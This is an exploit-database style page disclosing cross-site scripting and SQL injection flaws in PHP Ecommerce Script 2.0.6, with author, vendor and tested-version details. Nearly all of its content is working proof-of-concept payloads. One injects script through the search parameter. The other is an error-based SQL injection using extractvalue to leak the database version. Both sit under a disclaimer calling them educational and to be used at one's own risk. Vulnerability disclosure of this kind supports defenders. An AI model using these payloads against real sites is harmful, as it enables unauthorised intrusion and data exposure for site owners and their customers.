Php ecommerce script 2.0.6 crosssite scripting / sql injection Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2019-02-25 | Type : webapps | Platform : php
This exploit / vulnerability Php ecommerce script 2.0.6 crosssite scripting / sql injection is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: PHP Ecommerce Script 2.0.6 - Cross Site Scripting / SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 22, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/php-ecommerce-script/
# Tested Version: 2.0.6
# Tested on: Kali linux, Windows 8.1


# PoC:

# Cross Site Scripting:

# http://localhost/[PATH]/?s=[XSS]
# http://localhost/[PATH]/?s=<scRiPt>alert(1)</ScrIpT>

# SQL Injection:

# http://localhost/[PATH]/?s=[SQL]
# http://localhost/[PATH]/?s=1%20and%20extractvalue(rand(),concat(0x7e,version()))